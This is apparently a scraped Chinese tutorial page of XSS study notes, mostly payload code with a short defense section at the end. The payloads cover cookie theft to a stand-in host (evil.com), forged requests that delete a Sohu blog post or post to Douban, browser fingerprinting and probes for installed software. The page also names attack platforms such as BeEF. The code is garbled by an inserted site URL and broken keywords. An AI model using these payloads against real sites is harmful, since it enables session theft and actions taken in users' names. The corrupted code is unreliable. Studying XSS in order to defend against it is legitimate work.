首页 > 代码库 > XSS
XSS
XSS攻击成功后,攻击者能够对用户当前浏览器的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用来完成各种具体功能的恶意脚本,成为 XSS Payload
XSS Payload实际上就是JavaScript脚本,所以任何JavaScript脚本能实现的功能,XSS Payload都能做到。
1、cookie劫持
http://www.a.com/test.html?abc=”><script src=http://www.evil.com/evil.js></script>
Evil.js:
Var img = document.createElement(“img”);
Img.src = http://www.mamicode.com/“http://www.evil.com/log?”+escape(document.cookie); //发送cookie到攻击端
document.body.appendChild(img);
成功前提:
Cookie没有绑定客户端信息
Cookie没有HttpOnly标识
Cookie没有绑定IP
2、构造GET或POST请求
(1)
目的:删除一篇博文
删除链接:
http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
如何攻击:只需要知道文章的id,就可以构造该请求
XSS:
Var img = document.createElement(“img”);
Img.src = http://www.mamicode.com/“http://blog.sohu.com/manage/entry.do?m=delete&id=156713012”;
document.body.appendChild(img);
只要该段代码执行,就可以执行删除的命令。
(2)发出POST请求
发表消息的包:
POST / HTTP/1.1
Host:www.douban.com
User-Agent:Mozilla/5.0 (windows;U ;Windows NT 5.1;zh-CN;rv:1.9.2.7) Gecko/20100701
Firefox/3.6.7
Accept:...
Accept:...
Aceept:...
Aceept:...
Keep-Alive:115
Connection:keep-alive
Referer:http://www.douban.com/
Cookie:bid=”xxxxxxx”x.............
方法:
①构造一个form表单
Var f = document.createElement(“form”);
F.action = “”;
F.method=”post”;
document.body.appendChild(f);
Var i1 = document.createElement(“input”);
i1.name = “ ck”;
i1.value = http://www.mamicode.com/“ JiUY”;
f.appendChild(i1);
Var i2 = document.createElement(“input”);
i2.name = “ mb_text”;
i2.value = http://www.mamicode.com/“testtesttest”;
f.appendChild(i2);
F.submit();
②使用XMLHttpRequest
Var url = “http://www.douban/com”;
Var postStr = “ck=JiUY&mb_text=test1234”;
Var ajax = null;
If(window.XMLHttpRequest){
Ajax = new XMLHttpRequest();
}else if(window.ActiveXObject){
Ajax = new ActiveObject(Microsoft.XMLHTTP);
}
Else return;
Ajax.open(“POST”,url,true);
Ajax.setRequestHeader(“Content-Type”,”application/x-www-form-urlencoded”);
Ajax.send(postStr);
Ajax.onreadystatechange = function(){
If(ajax.readyState == 4 && ajax.status == 200){
Alert(“Done!”);
}
}
成功前提:
1.验证码:需要通过XSS发送验证码到攻击端,攻击端再将验证码的值返回给XSS。
2.修改密码需要输入原密码:先要通过钓鱼得到原密码
3、识别用户浏览器
攻击者为了获取更大的利益,往往需要准确地收集用户的个人信息。比如,如果知道用户的浏览器、操作系统,攻击者就有可能实施一次精准的浏览器内存攻击。
Js:alert(navigator.usrAgent);
更精简的代码,见原书
4、识别用户安装的软件
在IE中,可以通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件。
黑客通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到植入木马的目的。
代码:
Try{
Var Obj = new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);
}catch(e){
//异常
}
这段代码检测迅雷的一个控件xunleiBHO.ThunderIEHelper是否存在。
通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表。
5、获取用户的真实IP地址
Js本身并没有提供获取本地IP的能力。
一般来说,XSS攻击需要借助第三方软件来完成。
比如,客户端安装了java环境,那么XSS就可以通过调用Java Applet接口获取客户端的本地IP。
除了java之外,一些ActiveX控件可能也会提供接口查询本地IP。
Metasploit引擎曾经展示过一个强大的测试页面,综合了Java Applet、Flash、iTunes、Office、等第三方软件的功能,抓取用户的细腻。
XSS 攻击平台==========================================
1、Attack API
2、BeEF
3、XSS-Proxy:一个轻量级的XSS攻击平台。
调试js
要想写好XSS Payload,需要有很好的js功底,调试js是必不可少的技能。
1、Firebug
2、IE 8 Developer Tools
3、Fiddler
4、Http Watch
XSS 的防御====================================
1、HttpOnly
浏览器禁止js访问带有HttpOnly属性的cookie
即使如此,也出现过利用其它特性,读取出带httponly属性的cookie
2、输入检查
3、输出检查
XSS